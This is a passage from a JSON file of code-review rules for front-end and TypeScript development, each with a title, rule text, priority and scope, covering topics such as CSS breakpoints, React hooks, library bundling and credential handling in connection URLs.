example.","priority":"p2","scope":"universal"},{"title":"Cover all browsers (and verify) when applying font smoothing","rule":"Font-smoothing properties are vendor/browser specific; include the relevant properties and verify the result in Firefox/Safari, not just Chrome.","apiRule":"Font-smoothing properties are vendor/browser specific; include the relevant properties and verify the result in Firefox/Safari, not just Chrome. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Size elements with padding/font-size before reaching for fixed dimensions","rule":"Prefer intrinsic sizing (padding + font-size) over hardcoded width/height where it gives the right result, falling back to fixed dimensions only when needed for stability across zoom/browsers.","apiRule":"Prefer intrinsic sizing (padding + font-size) over hardcoded width/height where it gives the right result, falling back to fixed dimensions only when needed for stability across zoom/browsers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't set both a fixed width and a max-width that conflicts","rule":"A fixed `width` plus a smaller `max-width` is redundant/confusing; use `width: 100%` with `max-width` for a responsive cap, or just one of them.","apiRule":"A fixed `width` plus a smaller `max-width` is redundant/confusing; use `width: 100%` with `max-width` for a responsive cap, or just one of them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Agree on one conditional className convention and keep it consistent","rule":"Standardize how conditional classes are applied (e.g. `&&` for a single class, object notation via clsx for multiple) and apply it consistently across components.","apiRule":"Standardize how conditional classes are applied (e.g. `&&` for a single class, object notation via clsx for multiple) and apply it consistently across components. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't add a per-item config flag for a single special case","rule":"If only one item needs a flag, identify it by a stable property (name/id) instead of attaching a flag to every item in config; add the flag per-item only when many items use it and it changes often.","apiRule":"If only one item needs a flag, identify it by a stable property (name/id) instead of attaching a flag to every item in config; add the flag per-item only when many items use it and it changes often. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give custom events specific, namespaced names","rule":"Name dispatched CustomEvents to reflect both their source and the specific action (e.g. domain:component.action) so listeners are unambiguous.","apiRule":"Name dispatched CustomEvents to reflect both their source and the specific action (e.g. domain:component.action) so listeners are unambiguous. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Split into separate components when breakpoints diverge in behavior","rule":"When mobile and desktop need meaningfully different markup/JS (e.g. drawer vs dropdown), render distinct components based on an isMobile check rather than morphing one with CSS.","apiRule":"When mobile and desktop need meaningfully different markup/JS (e.g. drawer vs dropdown), render distinct components based on an isMobile check rather than morphing one with CSS. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a toggle hook for simple boolean state","rule":"For on/off UI state, reach for an existing useToggle/useToggleState hook instead of a raw useState boolean with manual setters.","apiRule":"For on/off UI state, reach for an existing useToggle/useToggleState hook instead of a raw useState boolean with manual setters. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't sacrifice readable multi-line objects to formatter one-lining","rule":"Keep object/type definitions multi-line when single-lining hurts readability; configure the formatter rather than letting it cram everything onto one line.","apiRule":"Keep object/type definitions multi-line when single-lining hurts readability; configure the formatter rather than letting it cram everything onto one line. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use one consistent file-naming case across a module","rule":"Don't mix camelCase and kebab-case filenames for sibling utilities; pick one convention. Also merge tiny related utility files into a cohesive module.","apiRule":"Don't mix camelCase and kebab-case filenames for sibling utilities; pick one convention. Also merge tiny related utility files into a cohesive module. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't overload one flag to control unrelated behavior","rule":"A flag with an established meaning (e.g. disablePeriodicFetch to turn off polling) shouldn't be repurposed to also gate a different feature (push/SSE); use a dedicated condition.","apiRule":"A flag with an established meaning (e.g. disablePeriodicFetch to turn off polling) shouldn't be repurposed to also gate a different feature (push/SSE); use a dedicated condition. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Trim derived/redundant values from effect dependency arrays","rule":"Remove dependencies that are derived from other listed dependencies to avoid a bloated array and surprising re-runs.","apiRule":"Remove dependencies that are derived from other listed dependencies to avoid a bloated array and surprising re-runs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the native placeholder attribute instead of faking it with content","rule":"For inputs/textareas, use the placeholder attribute rather than rendering placeholder text as real content, which gets laid out and can cause odd resize behavior.","apiRule":"For inputs/textareas, use the placeholder attribute rather than rendering placeholder text as real content, which gets laid out and can cause odd resize behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse an existing component before building a new one","rule":"Before implementing UI from scratch, check whether the codebase already has a component for it (e.g. an existing Tooltip) and reuse it.","apiRule":"Before implementing UI from scratch, check whether the codebase already has a component for it (e.g. an existing Tooltip) and reuse it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Type a lookup that can miss as `T | undefined`","rule":"A find/lookup function that may not match should return `T | undefined` (not `T`), forcing callers to handle the miss.","apiRule":"A find/lookup function that may not match should return `T | undefined` (not `T`), forcing callers to handle the miss. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type string-keyed object maps with Record","rule":"Prefer `Record<string, T>` over a hand-written index signature interface for plain key/value maps.","apiRule":"Prefer `Record<string, T>` over a hand-written index signature interface for plain key/value maps. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a HEAD request to check resource existence","rule":"To verify a URL exists without downloading its body (and to avoid fetching an image twice), issue a HEAD request — or better, handle image fallback declaratively via onError.","apiRule":"To verify a URL exists without downloading its body (and to avoid fetching an image twice), issue a HEAD request — or better, handle image fallback declaratively via onError. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make displayed content configurable via props, not hardcoded","rule":"Reusable components shouldn't bake in titles, names, image URLs or other content; accept them as props so the component can be reused.","apiRule":"Reusable components shouldn't bake in titles, names, image URLs or other content; accept them as props so the component can be reused. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Derive computed values from the real data, not a duplicated copy","rule":"When a calculation depends on a value that's also rendered, pass the actual value in rather than hardcoding a duplicate literal that can drift.","apiRule":"When a calculation depends on a value that's also rendered, pass the actual value in rather than hardcoding a duplicate literal that can drift. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer CSS pseudo-classes over JS state for visual UI states","rule":"Use :focus-within, :hover, :focus, etc. for purely visual states instead of tracking them in React state and re-rendering.","apiRule":"Use :focus-within, :hover, :focus, etc. for purely visual states instead of tracking them in React state and re-rendering. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Subtract 1px from the breakpoint when using max-width","rule":"A breakpoint at 768px means max-width queries should target 767px; using max-width: 768px inadvertently creates a new 769px breakpoint.","apiRule":"A breakpoint at 768px means max-width queries should target 767px; using max-width: 768px inadvertently creates a new 769px breakpoint. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer 100dvh over 100vh for full-viewport heights","rule":"Use dynamic viewport units (dvh) with a @supports fallback so layouts account for mobile browser UI that shows/hides.","apiRule":"Use dynamic viewport units (dvh) with a @supports fallback so layouts account for mobile browser UI that shows/hides. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Always set an explicit type on <button>","rule":"A button without a type defaults to submit and can unexpectedly submit a surrounding form. Set type=\"button\" (or submit/reset) explicitly.","apiRule":"A button without a type defaults to submit and can unexpectedly submit a surrounding form. Set type=\"button\" (or submit/reset) explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Restore shared environment state after a story/test changes it","rule":"When a story or test mutates shared state (e.g. the viewport, globals), reset it on teardown so later stories/tests aren't affected by leaked state.","apiRule":"When a story or test mutates shared state (e.g. the viewport, globals), reset it on teardown so later stories/tests aren't affected by leaked state. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Share a single stylesheet across many web-component instances","rule":"Injecting a <style> per component instance multiplies identical style nodes in the DOM. Create one shared stylesheet (e.g. a constructable/adopted stylesheet) reused by all instances.","apiRule":"Injecting a <style> per component instance multiplies identical style nodes in the DOM. Create one shared stylesheet (e.g. a constructable/adopted stylesheet) reused by all instances. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Call a data-fetching hook once high up and pass results down","rule":"Avoid calling the same non-cached fetching hook in both parent and child; call it once at the top level and pass the data as props to reduce duplicate requests and re-renders.","apiRule":"Avoid calling the same non-cached fetching hook in both parent and child; call it once at the top level and pass the data as props to reduce duplicate requests and re-renders. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make timeouts abortable via an AbortSignal","rule":"Wire timeouts to an AbortSignal so a single controller.abort() can cancel multiple pending timers at once.","apiRule":"Wire timeouts to an AbortSignal so a single controller.abort() can cancel multiple pending timers at once. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't re-check the first element after verifying length","rule":"If you already confirmed an array is non-empty, accessing the first element doesn't need a separate optional/guard check.","apiRule":"If you already confirmed an array is non-empty, accessing the first element doesn't need a separate optional/guard check. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid misleading qualifiers in names (mock, visible, ...)","rule":"Drop name qualifiers that no longer hold: don't call permanent data `*.mock`, and only call a subset `visibleX`/`filteredX` if a hidden/full set actually exists.","apiRule":"Drop name qualifiers that no longer hold: don't call permanent data `*.mock`, and only call a subset `visibleX`/`filteredX` if a hidden/full set actually exists. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer optional props over an explicit `| undefined` union","rule":"Mark props that may be absent as optional (`name?: T`) instead of typing them `name: T | undefined`, so callers can simply omit them.","apiRule":"Mark props that may be absent as optional (`name?: T`) instead of typing them `name: T | undefined`, so callers can simply omit them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Let test runners auto-detect CI single-run mode instead of forcing flags","rule":"Modern runners like Vitest switch to a single, compact run when CI=true; set that env var rather than fighting npm arg-passing with --run.","apiRule":"Modern runners like Vitest switch to a single, compact run when CI=true; set that env var rather than fighting npm arg-passing with --run. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Run a single validate gate (lint, format, types, tests) before publishing","rule":"Add one validate task that lints, checks formatting, typechecks, and runs tests, and wire it into prepublishOnly so bad releases can't be published.","apiRule":"Add one validate task that lints, checks formatting, typechecks, and runs tests, and wire it into prepublishOnly so bad releases can't be published. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't disguise a plain function as a hook","rule":"A function that doesn't use React state/effects isn't a hook; don't prefix it with use or keep it under hooks/. Name it for what it does (isMobile/checkIfMobile).","apiRule":"A function that doesn't use React state/effects isn't a hook; don't prefix it with use or keep it under hooks/. Name it for what it does (isMobile/checkIfMobile). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a modern lightweight date library over heavy legacy ones","rule":"Avoid large legacy date libraries like moment for new code; choose a small modern alternative (e.g. dayjs/date-fns) to keep bundles lean.","apiRule":"Avoid large legacy date libraries like moment for new code; choose a small modern alternative (e.g. dayjs/date-fns) to keep bundles lean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass runtime config to shared components as props, not build-time env vars","rule":"A reusable/published package can't bake environment URLs at its own build time; expose them as props/attributes so each consuming app supplies its own values.","apiRule":"A reusable/published package can't bake environment URLs at its own build time; expose them as props/attributes so each consuming app supplies its own values. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Externalize framework deps when bundling a library","rule":"A shared component library must externalize react/react-dom and their subpaths (react-dom/client, react/jsx-runtime) so the host app provides a single instance, not a bundled duplicate.","apiRule":"A shared component library must externalize react/react-dom and their subpaths (react-dom/client, react/jsx-runtime) so the host app provides a single instance, not a bundled duplicate. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't issue a request you know will fail without auth","rule":"If a call requires a session that is absent, short-circuit with a clear error rather than firing a request that returns nothing and surfaces a confusing empty state.","apiRule":"If a call requires a session that is absent, short-circuit with a clear error rather than firing a request that returns nothing and surfaces a confusing empty state. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer Sass @use over the deprecated @import","rule":"Sass @import is deprecated in favor of the module system @use; migrate to @use (on dart-sass/sass-embedded) to avoid global namespace leakage and future removal.","apiRule":"Sass @import is deprecated in favor of the module system @use; migrate to @use (on dart-sass/sass-embedded) to avoid global namespace leakage and future removal. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Lift duplicated styles into one shared class and override per variant","rule":"When two selectors repeat the same declarations, define a common class at a higher level and only add variant-specific overrides.","apiRule":"When two selectors repeat the same declarations, define a common class at a higher level and only add variant-specific overrides. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name singular vs plural related props distinctly to avoid confusion","rule":"Props like category and categories sitting side by side are confusing; rename the singular to activeCategory/currentCategory to signal its role.","apiRule":"Props like category and categories sitting side by side are confusing; rename the singular to activeCategory/currentCategory to signal its role. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Only fetch data when the feature that needs it is shown","rule":"Don't eagerly fetch supporting data (e.g. categories) on mount if it's only used by an optional tab/view; guard the fetch behind the condition.","apiRule":"Don't eagerly fetch supporting data (e.g. categories) on mount if it's only used by an optional tab/view; guard the fetch behind the condition. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep ID-like values as strings unless you do arithmetic on them","rule":"IDs that look numeric but are only compared and passed through should stay strings; converting introduces NaN risks and you just convert back later anyway.","apiRule":"IDs that look numeric but are only compared and passed through should stay strings; converting introduces NaN risks and you just convert back later anyway. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid deeply nested destructuring; destructure one level directly","rule":"Triple-nested destructuring forces the reader to parse in reverse; pull the value with a short direct path instead.","apiRule":"Triple-nested destructuring forces the reader to parse in reverse; pull the value with a short direct path instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reusable components must not mutate the page URL or global history","rule":"A component meant to be dropped onto arbitrary pages should keep its state internal; pushing to window.history on interaction leaks side effects onto the host page.","apiRule":"A component meant to be dropped onto arbitrary pages should keep its state internal; pushing to window.history on interaction leaks side effects onto the host page. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Treat boolean HTML attributes by presence, following native conventions","rule":"Detect boolean attributes via hasAttribute (allowing valueless usage) and name them like native ones (disabled, not is-disabled); `=== 'true' || false` is redundant.","apiRule":"Detect boolean attributes via hasAttribute (allowing valueless usage) and name them like native ones (disabled, not is-disabled); `=== 'true' || false` is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't reach for newer framework APIs that break supported versions","rule":"If a library must support an older major (e.g. React 17), avoid version-gated APIs like createRoot directly; feature-detect with a dynamic import fallback so older consumers still work.","apiRule":"If a library must support an older major (e.g. React 17), avoid version-gated APIs like createRoot directly; feature-detect with a dynamic import fallback so older consumers still work. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Put the anchor inside the list item, not wrapping it","rule":"<a> is not permitted as a direct child of <ul>/<ol>; nest the <a> inside each <li>. Also drop the key from inner elements - it belongs only on the outermost mapped element.","apiRule":"<a> is not permitted as a direct child of <ul>/<ol>; nest the <a> inside each <li>. Also drop the key from inner elements - it belongs only on the outermost mapped element. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't mix a real href with a JS-navigation onClick on the same anchor","rule":"An anchor that both has an href and an onClick that opens/navigates does the work twice; either use a button with the click handler or a plain link with no handler.","apiRule":"An anchor that both has an href and an onClick that opens/navigates does the work twice; either use a button with the click handler or a plain link with no handler. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Drive a presentational component's variants from a state enum, not loose strings","rule":"Instead of passing several free-form text/url props, expose a state enum and let the component resolve its own copy and links per state.","apiRule":"Instead of passing several free-form text/url props, expose a state enum and let the component resolve its own copy and links per state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a named type guard for discriminating union responses","rule":"When a function returns one of several shapes, narrow with a documented type-guard function rather than scattering inline `'key' in obj` checks at every call site.","apiRule":"When a function returns one of several shapes, narrow with a documented type-guard function rather than scattering inline `'key' in obj` checks at every call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a plain boolean over boolean | null for loading flags","rule":"A loading flag that can be true/false/null forces awkward `!== null` guards downstream; default it to false unless you genuinely need to model 'never loaded' as a distinct state.","apiRule":"A loading flag that can be true/false/null forces awkward `!== null` guards downstream; default it to false unless you genuinely need to model 'never loaded' as a distinct state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract distinct loop bodies into named functions for testability","rule":"A long function that builds several independent collections in successive loops is easier to read and test when each loop becomes its own named function returning its slice of work.","apiRule":"A long function that builds several independent collections in successive loops is easier to read and test when each loop becomes its own named function returning its slice of work. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mock dependencies in unit tests instead of exercising nested implementations","rule":"A unit test should mock the collaborators a function calls and assert on its own contract, not invoke and depend on the behavior of methods-within-methods.","apiRule":"A unit test should mock the collaborators a function calls and assert on its own contract, not invoke and depend on the behavior of methods-within-methods. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate input before calling, and avoid needlessly wrapping a single arg in an object","rule":"Return the error response as soon as a required input is missing instead of delegating that check, and pass a lone value directly rather than wrapping it in a one-key object.","apiRule":"Return the error response as soon as a required input is missing instead of delegating that check, and pass a lone value directly rather than wrapping it in a one-key object. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not embed credentials in a connection URL string","rule":"Pass username/password via dedicated client options instead of interpolating them into a connection URL, which can leak into logs and error messages.","apiRule":"Pass username/password via dedicated client options instead of interpolating them into a connection URL, which can leak into logs and error messages. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Order numeric threshold branches so every range is reachable","rule":"Sort range/threshold conditions monotonically and make boundaries contiguous so no branch is unreachable and no input falls through to an unintended default.","apiRule":"Sort range/threshold conditions monotonically and make boundaries contiguous so no branch is unreachable and no input falls through to an unintended default. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not reimplement behavior the base class already provides","rule":"Before adding manual logic (deduping, normalization, etc.) check whether the inherited/base implementation already does it; duplicating it is redundant and risks divergence.","apiRule":"Before adding manual logic (deduping, normalization, etc.) check whether the inherited/base implementation already does it; duplicating it is redundant and risks divergence. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not use the unfiltered internal data source unless explicitly required","rule":"An 'internal' query mode that returns unpublished or otherwise hidden records must not be used by default, only when the use case explicitly demands it.","apiRule":"An 'internal' query mode that returns unpublished or otherwise hidden records must not be used by default, only when the use case explicitly demands it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Pass the caller's own identifier to tracing/diagnostic parameters","rule":"When a method accepts an 'invokedBy'/origin parameter for tracing, pass the actual current call site rather than a copied-from-elsewhere or unrelated value.","apiRule":"When a method accepts an 'invokedBy'/origin parameter for tracing, pass the actual current call site rather than a copied-from-elsewhere or unrelated value. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Extract inline workarounds into a reusable, parameterized utility","rule":"Inline quick-fix logic (like splitting a payload into fixed chunks) should be pulled into a named utility with parameterized sizes 